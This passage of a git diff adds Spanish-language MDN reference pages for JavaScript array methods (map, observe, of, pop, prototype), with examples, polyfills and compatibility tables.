+<p>Este ejemplo muestra como iterar sobre una colección de objetos obtenidos por <code>querySelectorAll</code>. En este caso obtenemos todas las opciones seleccionadas en pantalla y se imprimen en la consola:</p>
+
+<pre class="brush: js">var elems = document.querySelectorAll('select option:checked');
+var values = [].map.call(elems, function(obj) {
+  return obj.value;
+});
+</pre>
+
+<h3 id="Usando_map_para_invertir_una_cadena">Usando <code>map</code> para invertir una cadena</h3>
+
+<pre class="brush: js">var str = '12345';
+[].map.call(str, function(x) {
+  return x;
+}).reverse().join('');
+
+// Salida: '54321'
+// Bonus: usa'===' para probar si la cadena original era un palindromo
+</pre>
+
+<h3 id="Example_Tricky_use_case" name="Example:_Tricky_use_case">Caso de uso engañoso</h3>
+
+<p><a href="http://www.wirfs-brock.com/allen/posts/166">(inspirado por este artículo)</a></p>
+
+<p>Es común utilizar el callback con un argumento (el elemento siendo pasado). Ciertas funciones son también usadas comunmente con un argumento, aún cuando toman argumentos adicionales opcionales.  Estos hábitos pueden llevar a comportamientos confusos.</p>
+
+<pre class="brush: js">// Considera:
+['1', '2', '3'].map(parseInt);
+// Mientras uno esperaría [1, 2, 3]
+// en realidad se obtiene [1, NaN, NaN]
+
+// parseInt se usa comúnmente con un argumento, pero toma dos.
+// El primero es una expresión y el segundo el radix.
+// a la función callback, Array.prototype.map pasa 3 argumentos:
+// el elemento, el índice y el array.
+// El tercer argumento es ignorado por parseInt, pero no el segundo,
+// de ahí la posible confusión. Véase el artículo del blog para más detalles
+
+function returnInt(element) {
+  return parseInt(element, 10);
+}
+
+['1', '2', '3'].map(returnInt); // [1, 2, 3]
+// El resultado es un arreglo de números (como se esperaba)
+
+// Un modo más simple de lograr lo de arriba, mientras de evita el "gotcha":
+['1', '2', '3'].map(Number); // [1, 2, 3]
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Polyfill</h2>
+
+<p><code>map</code> fue agregado al estandar ECMA-262 en la 5th edición; por lo tanto podría no estar presente en todas la implementaciones del estándar. Puedes sobrepasar esto insertando el siguiente código al comienzo de tus scripts, permitiendo el uso de <code>map</code> en implementaciones que no lo soportan de forma nativa. Este algoritmo es exactamente el mismo especificado en ECMA-262, 5th edición, asumiendo {{jsxref("Global_Objects/Object", "Object")}}, {{jsxref("Global_Objects/TypeError", "TypeError")}}, y {{jsxref("Global_Objects/Array", "Array")}} tienen sus valores originales y que el <code>callback.call</code> evalua el valor original de <code>{{jsxref("Function.prototype.call")}}</code>.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.19
+// Reference: http://es5.github.io/#x15.4.4.19
+if (!Array.prototype.map) {
+
+  Array.prototype.map = function(callback, thisArg) {
+
+    var T, A, k;
+
+    if (this == null) {
+      throw new TypeError(' this is null or not defined');
+    }
+
+    // 1. Let O be the result of calling ToObject passing the |this|
+    //    value as the argument.
+    var O = Object(this);
+
+    // 2. Let lenValue be the result of calling the Get internal
+    //    method of O with the argument "length".
+    // 3. Let len be ToUint32(lenValue).
+    var len = O.length &gt;&gt;&gt; 0;
+
+    // 4. If IsCallable(callback) is false, throw a TypeError exception.
+    // See: http://es5.github.com/#x9.11
+    if (typeof callback !== 'function') {
+      throw new TypeError(callback + ' is not a function');
+    }
+
+    // 5. If thisArg was supplied, let T be thisArg; else let T be undefined.
+    if (arguments.length &gt; 1) {
+      T = thisArg;
+    }
+
+    // 6. Let A be a new array created as if by the expression new Array(len)
+    //    where Array is the standard built-in constructor with that name and
+    //    len is the value of len.
+    A = new Array(len);
+
+    // 7. Let k be 0
+    k = 0;
+
+    // 8. Repeat, while k &lt; len
+    while (k &lt; len) {
+
+      var kValue, mappedValue;
+
+      // a. Let Pk be ToString(k).
+      //   This is implicit for LHS operands of the in operator
+      // b. Let kPresent be the result of calling the HasProperty internal
+      //    method of O with argument Pk.
+      //   This step can be combined with c
+      // c. If kPresent is true, then
+      if (k in O) {
+
+        // i. Let kValue be the result of calling the Get internal
+        //    method of O with argument Pk.
+        kValue = O[k];
+
+        // ii. Let mappedValue be the result of calling the Call internal
+        //     method of callback with T as the this value and argument
+        //     list containing kValue, k, and O.
+        mappedValue = callback.call(T, kValue, k, O);
+
+        // iii. Call the DefineOwnProperty internal method of A with arguments
+        // Pk, Property Descriptor
+        // { Value: mappedValue,
+        //   Writable: true,
+        //   Enumerable: true,
+        //   Configurable: true },
+        // and false.
+
+        // In browsers that support Object.defineProperty, use the following:
+        // Object.defineProperty(A, k, {
+        //   value: mappedValue,
+        //   writable: true,
+        //   enumerable: true,
+        //   configurable: true
+        // });
+
+        // For best browser support, use the following:
+        A[k] = mappedValue;
+      }
+      // d. Increase k by 1.
+      k++;
+    }
+
+    // 9. return A
+    return A;
+  };
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.19', 'Array.prototype.map')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.map', 'Array.prototype.map')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.map', 'Array.prototype.map')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.8")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Map")}} object</li>
+ <li>{{jsxref("Array.from()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/observe/index.html b/files/es/web/javascript/referencia/objetos_globales/array/observe/index.html
new file mode 100644
index 0000000000..13f16ef5d0
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/observe/index.html
@@ -0,0 +1,133 @@
+---
+title: Array.observe()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/observe
+tags:
+  - Método(2)
+  - Vector
+translation_of: Archive/Web/JavaScript/Array.observe
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>Array.observe()</code></strong> se utiliza para poder observar en forma asincrónica los cambios ocurridos en un vector, similar a {{jsxref("Object.observe()")}} para los objetos. Provee un flujo ordenado por orden de ocurrencia de los cambios ocurridos en el vector. Es equivalente a invocar <code>Object.observe()</code> con la lista de tipos aceptados: <code>["add", "update", "delete", "splice"]</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Array.observe(<var>arr</var>, <var>callback</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>arr</code></dt>
+ <dd>El vector a ser observado.</dd>
+ <dt><code>callback</code></dt>
+ <dd>La función invocada con cada cambio dentro del vector con el siguiente argumento:
+ <dl>
+  <dt><code>changes</code></dt>
+  <dd>Un vector de objetos, cada uno representando un cambio. Las propiedades de estos objetos son:
+  <ul>
+   <li><strong><code>name</code></strong>: El nombre de la propiedad que ha cambiado.</li>
+   <li><strong><code>object</code></strong>: El vector modificado, despues de la modificación.</li>
+   <li><strong><code>type</code></strong>: Una cadena de caracteres indicando el tipo de cambio que ocurrió. Estos tipos son: <code>"add"</code>, <code>"update"</code>, <code>"delete"</code>, o <code>"splice"</code>.</li>
+   <li><strong><code>oldValue</code></strong>: El valor antes de ser modificado. Solo para  los tipos <code>"update"</code> o <code>"delete"</code>.</li>
+   <li><strong><code>index</code></strong>: La posición del vector en la que ocurrio el cambio. Sólo para el tipo <code>"splice"</code>.</li>
+   <li><strong><code>removed</code></strong>: Un vector con los elementos borrados. Sólo para el tipo "splice".</li>
+   <li><strong><code>addedCount</code></strong>: La cantidad de elementos agregados. Sólo para el tipo "splice".</li>
+  </ul>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La función callback es invocada cada vez que ocurre un cambio en el vector, recibiendo como parámetro, un vector con todos los cambios ocurridos en el orden en que estos fueron realizados.</p>
+
+<div class="note">
+<p>Changes done via Array methods, such as <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop">Array.prototype.pop()</a> will be reported as <code>"splice"</code> changes. Index assignment changes which do not change the length of the array may be reported as <code>"update"</code> changes.</p>
+
+<p>Los cambios realizados por medio de los metodos del objeto Array, como <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop">Array.prototype.pop()</a>, seran reportados como del tipo "splice". Los cambios realizados por indice, que no modifican la cantidad de elementos del vector, podrian ser reportados con el tipo "update".</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Mostrando_en_consola_los_diferentes_tipos_de_modificaciones">Mostrando en consola los diferentes tipos de modificaciones</h3>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+
+Array.observe(arr, function(changes) {
+  console.log(changes);
+});
+
+arr[1] = 'B';
+// [{type: 'update', object: &lt;arr&gt;, name: '1', oldValue: 'b'}]
+
+arr[3] = 'd';
+// [{type: 'splice', object: &lt;arr&gt;, index: 3, removed: [], addedCount: 1}]
+
+arr.splice(1, 2, 'beta', 'gamma', 'delta');
+// [{type: 'splice', object: &lt;arr&gt;, index: 1, removed: ['B', 'c', 'd'], addedCount: 3}]
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Strawman proposal for ECMAScript 7</a>.</p>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="//stackoverflow.com/q/29269057/778272">Under what condition would Array.observe's “add” event trigger?</a></li>
+ <li>{{jsxref("Array.unobserve()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Object.observe()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/of/index.html b/files/es/web/javascript/referencia/objetos_globales/array/of/index.html
new file mode 100644
index 0000000000..f57c7e2bc1
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/of/index.html
@@ -0,0 +1,97 @@
+---
+title: Array.of()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/of
+tags:
+  - Array
+  - ECMAScript 2015
+  - JavaScript
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/of
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Array.of()</strong></code> crea una nueva instancia <code>Array</code> con un número variable de elementos pasados como argumento, independientemente del número o del tipo.</p>
+
+<p>La diferencia entre <code><strong>Array.of()</strong></code> y el constructor <code><strong>Array</strong></code> reside en como maneja los parámetros de tipo entero: <code><strong>Array.of(7)</strong></code> crea un array con un solo elemento, <code>7</code>, mientras que <code><strong>Array(7)</strong></code> crea un array vacío con una propiedad <code>length</code> de 7 (<strong>Nota:</strong> esto implica un array de 7 ranuras vacías, no ranuras con valores <code>undefined</code>).</p>
+
+<pre class="brush: js">Array.of(7);       // [7]
+Array.of(1, 2, 3); // [1, 2, 3]
+
+Array(7);          // [ , , , , , , ]
+Array(1, 2, 3);    // [1, 2, 3]</pre>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Array.of(<var>elemento0</var>[, <var>elemento1</var>[, ...[, <var>elementoN</var>]]])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>elemento<em>N</em></code></dt>
+ <dd>Valores con los que se creará el Array en su respectivo indice.</dd>
+ <dt>
+ <h3 id="Valor_de_retorno">Valor de retorno</h3>
+ </dt>
+ <dd>Una nueva instancia de {{jsxref("Array")}}.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Esta función es parte del estándar ECMAScript 2015. Para obtener más información, consulte <a href="https://gist.github.com/rwaldron/1074126"><code>Array.of</code> y <code>Array.from</code> proposal</a> y <a href="https://gist.github.com/rwaldron/3186576"><code>Array.of</code> polyfill</a>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">Array.of(1);         // [1]
+Array.of(1, 2, 3);   // [1, 2, 3]
+Array.of(undefined); // [undefined]
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Escribiendo el siguiente código antes que cualquier otro, podemos emular la funcionalidad de <code>Array.of()</code> si es que ésta no está disponible de forma nativa.</p>
+
+<pre class="brush: js">if (!Array.of) {
+  Array.of = function() {
+    return Array.prototype.slice.call(arguments);
+  };
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.of', 'Array.of')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.of', 'Array.of')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.of")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.from()")}}</li>
+ <li>{{jsxref("TypedArray.of()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/pop/index.html b/files/es/web/javascript/referencia/objetos_globales/array/pop/index.html
new file mode 100644
index 0000000000..acc6d06885
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/pop/index.html
@@ -0,0 +1,94 @@
+---
+title: Array.prototype.pop()
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/pop
+tags:
+  - Array
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/pop
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>pop()</strong></code> elimina el <strong>último</strong> elemento de un array y lo devuelve. Este método cambia la longitud del array.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-pop.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>arr</var>.pop()</pre>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>El elemento que ha sido eliminado del array; {{jsxref("undefined")}} si el array está vacío.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>pop</code> elimina el último elemento de un array y devuelve su valor al método que lo llamó.</p>
+
+<p><code>pop</code> es intencionadamente genérico; este método puede ser {{jsxref("Function.call", "called", "", 1)}} o {{jsxref("Function.apply", "applied", "", 1)}} en objectos similares a un array. En objetos que no contengan una propiedad <code>length</code>, que refleje su forma en una serie de propiedades numéricas consecutivas en base cero, puede no comportarse de manera significativa.</p>
+
+<p>Si se llama a <code>pop()</code> en un array vacío, devuelve {{jsxref("undefined")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Eliminando_el_último_elemento_de_un_array">Eliminando el último elemento de un array</h3>
+
+<p>El siguiente código crea el array <code>myFish</code>, que contiene cuatro elementos, a continuación, elimina su último elemento.</p>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+
+var popped = myFish.pop();
+
+console.log(myFish); // ['angel', 'clown', 'mandarin' ]
+
+console.log(popped); // 'sturgeon'</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>Estándar</td>
+   <td>Definición inicial. Implementada en JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Array.pop")}}</p>
+</div>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/array/prototype/index.html b/files/es/web/javascript/referencia/objetos_globales/array/prototype/index.html
new file mode 100644
index 0000000000..2098f514ad
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/array/prototype/index.html
@@ -0,0 +1,188 @@
+---
+title: Array.prototype
+slug: Web/JavaScript/Referencia/Objetos_globales/Array/prototype
+tags:
+  - Array
+  - Arreglo
+  - JavaScript
+  - Property
+  - Propiedad
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/prototype
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <strong><code>Array.prototype</code></strong> representa el prototipo del constructor {{jsxref("Array")}} y le permite agregar nuevas propiedades y métodos a todos los objetos Array.</p>
+
+<pre class="brush: js">// Si JavaScript no proporciona un método first() de forma nativa,
+// agrega un nuevo método que devuelve el primer elemento de una matriz.
+
+if (!Array.prototype.first) {
+  Array.prototype.first = function() {
+    return this[0];
+  }
+}
+</pre>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Las instancias {{jsxref("Array")}} heredan de <code>Array.prototype</code>. Al igual que con todos los constructores, puede cambiar el prototipo del constructor del objeto para realizar cambios en todas las instancias {{jsxref("Array")}} . Por ejemplo, puede agregar nuevos métodos y propiedades para extender todos los objetos <code>Array</code>. Esto se usa para {{Glossary("Polyfill", "polyfilling")}}, por ejemplo.</p>
+
+<p>Un hecho poco conocido: <code>Array.prototype</code> en sí es un {{jsxref("Array")}}:</p>
+
+<pre class="brush: js">Array.isArray(Array.prototype); // true</pre>
+
+<p>{{js_property_attributes(0, 0, 0)}}</p>
+
+<h2 id="Properties" name="Properties">Propiedades</h2>
+
+<dl>
+ <dt><code>Array.prototype.constructor</code></dt>
+ <dd>Especifica la función que crea el prototipo de un objeto.</dd>
+ <dt>{{jsxref("Array.prototype.length")}}</dt>
+ <dd>Refleja el número de elementos en un array.</dd>
+ <dt>{{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}}</dt>
+ <dd>Un símbolo que contiene nombres de propiedades para excluir de un ámbito vinculante <code><a href="/es/docs/Web/JavaScript/Reference/Statements/with">with</a></code>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Métodos</h2>
+
+<h3 id="Mutator_methods" name="Mutator_methods">Métodos de mutación</h3>
+
+<p>Estos métodos modifican el array:</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.copyWithin()")}}</dt>
+ <dd>Copia una secuencia de elementos dentro del array.</dd>
+ <dt>{{jsxref("Array.prototype.fill()")}}</dt>
+ <dd>Rellena todos los elementos de un array desde un índice de inicio hasta un índice de fin con un valor determinado.</dd>
+ <dt>{{jsxref("Array.prototype.pop()")}}</dt>
+ <dd>Elimina el último elemento de un array y devuelve dicho elemento.</dd>
+ <dt>{{jsxref("Array.prototype.push()")}}</dt>
+ <dd>Añade uno o más elementos al final de un array y devuelve la nueva longitud del array.</dd>
+ <dt>{{jsxref("Array.prototype.reverse()")}}</dt>
+ <dd>Invierte el orden de los elementos de un array — el primero será el último y el último será el primero.</dd>
+ <dt>{{jsxref("Array.prototype.shift()")}}</dt>
+ <dd>Elimina el primer elemento de un array y devuelve dicho elemento.</dd>
+ <dt>{{jsxref("Array.prototype.sort()")}}</dt>
+ <dd>Ordena los elementos de un array y devuelve el array.</dd>
+ <dt>{{jsxref("Array.prototype.splice()")}}</dt>
+ <dd>Añade o elimina elementos de un array.</dd>
+ <dt>{{jsxref("Array.prototype.unshift()")}}</dt>
+ <dd>Añade uno o más elementos al principio del array y devuelve la nueva longitud del array.</dd>
+</dl>
+
+<h3 id="Accessor_methods" name="Accessor_methods">Métodos de consulta</h3>
+
+<p>Estos métodos no modifican el array y devuelven alguna representación del array.</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.concat()")}}</dt>
+ <dd>Devuelve un nuevo array compuesto por este array unido con otro(s) array(s) y/o valor(es).</dd>
+ <dt>{{jsxref("Array.prototype.includes()")}}</dt>
+ <dd>Determina si un array contiene cierto elemento, devolviendo <code>true</code> o <code>false</code> apropiadamente.</dd>
+ <dt>{{jsxref("Array.prototype.indexOf()")}}</dt>
+ <dd>Devuelve el primer (menor) índice de un elemento dentro del array que sea igual al valor especificado, o -1 si no contiene dicho valor.</dd>
+ <dt>{{jsxref("Array.prototype.join()")}}</dt>
+ <dd>Une todos los elementos de un array en una cadena de texto.</dd>
+ <dt>{{jsxref("Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Devuelve el último (mayor) índice de un elemento dentro del array que sea igual al valor especificado, o -1 si no contiene dicho valor.</dd>
+ <dt>{{jsxref("Array.prototype.slice()")}}</dt>
+ <dd>Extrae una sección de un array y devuelve un nuevo array.</dd>
+ <dt>{{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Devuelve el array literal que representa al propio array especificado; puedes usar este valor para crear un nuevo array. Reemplaza al método {{jsxref("Object.prototype.toSource()")}}.</dd>
+ <dt>{{jsxref("Array.prototype.toString()")}}</dt>
+ <dd>Devuelve una cadena de texto que representa el array y sus elementos. Reemplaza el método {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("Array.prototype.toLocaleString()")}}</dt>
+ <dd>Devuelve una cadena de texto localizada que representa el array y sus elementos. Reemplaza el método {{jsxref("Object.prototype.toLocaleString()")}}.</dd>
+</dl>
+
+<h3 id="Iteration_methods" name="Iteration_methods">Métodos de iteración</h3>
+
+<p>Muchos métodos toman como argumentos funciones que son llamadas mientras se procesa el array. Cuando estos métodos son llamados, la longitud (<code style="font-style: normal;">length</code>) del array es muestreado, y cualquier elemento añadido por encima de esta longitud dentro de la función (<span style="font-family: consolas,monaco,andale mono,monospace;">callback</span>) no es visitado. Otros cambios sobre el array (establecer el valor o eliminar un elemento) podría afectar el resultado de la operación si el método visita el elemento después. Mientras que el comportamiento especifico de estos métodos en muchos casos es bien definido, no deberías delegar sobre eso con la finalidad de no confundir a otros que podrían leer tu código. Si debes modificar el array, copialo en un nuevo array en su lugar.</p>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.entries()")}}</dt>
+ <dd>Devuelve un nuevo objeto <code>Array Iterator</code> que contiene los pares clave/valor para cada índice en el array.</dd>
+ <dt>{{jsxref("Array.prototype.every()")}}</dt>
+ <dd>Devuelve true si cada elemento en este array satisface la función de testeo proporcionada.</dd>
+ <dt>{{jsxref("Array.prototype.filter()")}}</dt>
+ <dd>Crea un nuevo array con todos los elementos de este array para los cuales la función de filtrado proporcionada devuelve true.</dd>
+ <dt>{{jsxref("Array.prototype.find()")}}</dt>
+ <dd>Devuelve el elemento hallado en el array si un elemento en el array satisface la función de testeo proporcionada, o <code>undefined</code> si no se halla ninguno.</dd>
+ <dt>{{jsxref("Array.prototype.findIndex()")}}</dt>
+ <dd>Devuelve el índice hallado en el array si un elemento en el array satisface la función de testeo proporcionada, o -1 si no se halla ninguno.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Array.prototype.forEach()")}}</dt>
+ <dd>Llama a una función para cada elemento del array.</dd>
+ <dt>{{jsxref("Array.prototype.keys()")}}</dt>
+ <dd>Devuelve un nuevo <code>Array Iterator</code> que contiene las claves para cada índice en el array.</dd>
+ <dt>{{jsxref("Array.prototype.map()")}}</dt>
+ <dd>Crea un nuevo array con el resultado de llamar a la función proporcionada sobre cada elemento de este array.</dd>
+ <dt>{{jsxref("Array.prototype.reduce()")}}</dt>
+ <dd>Aplica una función que recibe un acumulador y cada valor del array (de izquierda a derecha) para reducirlo a un único valor.</dd>
+ <dt>{{jsxref("Array.prototype.reduceRight()")}}</dt>
+ <dd>Aplica una función que recibe un acumulador y cada valor del array (de derecha a izquierda) para reducirlo a un único valor.</dd>
+ <dt>{{jsxref("Array.prototype.some()")}}</dt>
+ <dd>Devuelve true si al menos un elemento en este array satisface la función de testeo proporcionada.</dd>
+ <dt>{{jsxref("Array.prototype.values()")}}</dt>
+ <dd>Devuelve un nuevo objeto <code>Array Iterator</code> que contiene los valores para cada índice en el array.</dd>
+ <dt>{{jsxref("Array.prototype.@@iterator()", "Array.prototype[@@iterator]()")}}</dt>
+ <dd>Devuelve un nuevo objeto <code>Array Iterator</code> que contiene los valores para cada índice en el array.</dd>
+</dl>
+
+<h3 id="Generic_methods" name="Generic_methods">Métodos genéricos (no estándar)</h3>
+
+<p>Muchos métodos en el objeto Javascript Array son diseñados para ser generalmente llamados para todos los objetos que "parecen" Arrays. Es decir, pueden ser usados sobre cualquier objeto que tenga una propiedad longitud (<code style="font-style: normal;">length</code>), y puedan ser accedidos usando nombres de propiedades numéricos (como con la indexación <code><span style="font-family: consolas,monaco,andale mono,monospace;">array[5]</span></code>). Algunos métodos, tales como {{jsxref("Array.join", "join")}}, sólo leen la <code>longitud</code> y propiedades numéricas del objeto sobre el cual son llamados. Otros, como {{jsxref("Array.reverse", "reverse")}}, requieren que las propiedades numéricas del objeto y la <code>longitud</code> sean mutables; estos métodos, por tanto, no pueden ser llamados sobre objetos como {{jsxref("String")}}, los cuales no permiten que su longitud o propiedades numéricas sintetizadas sean establecidas.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<p> </p>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
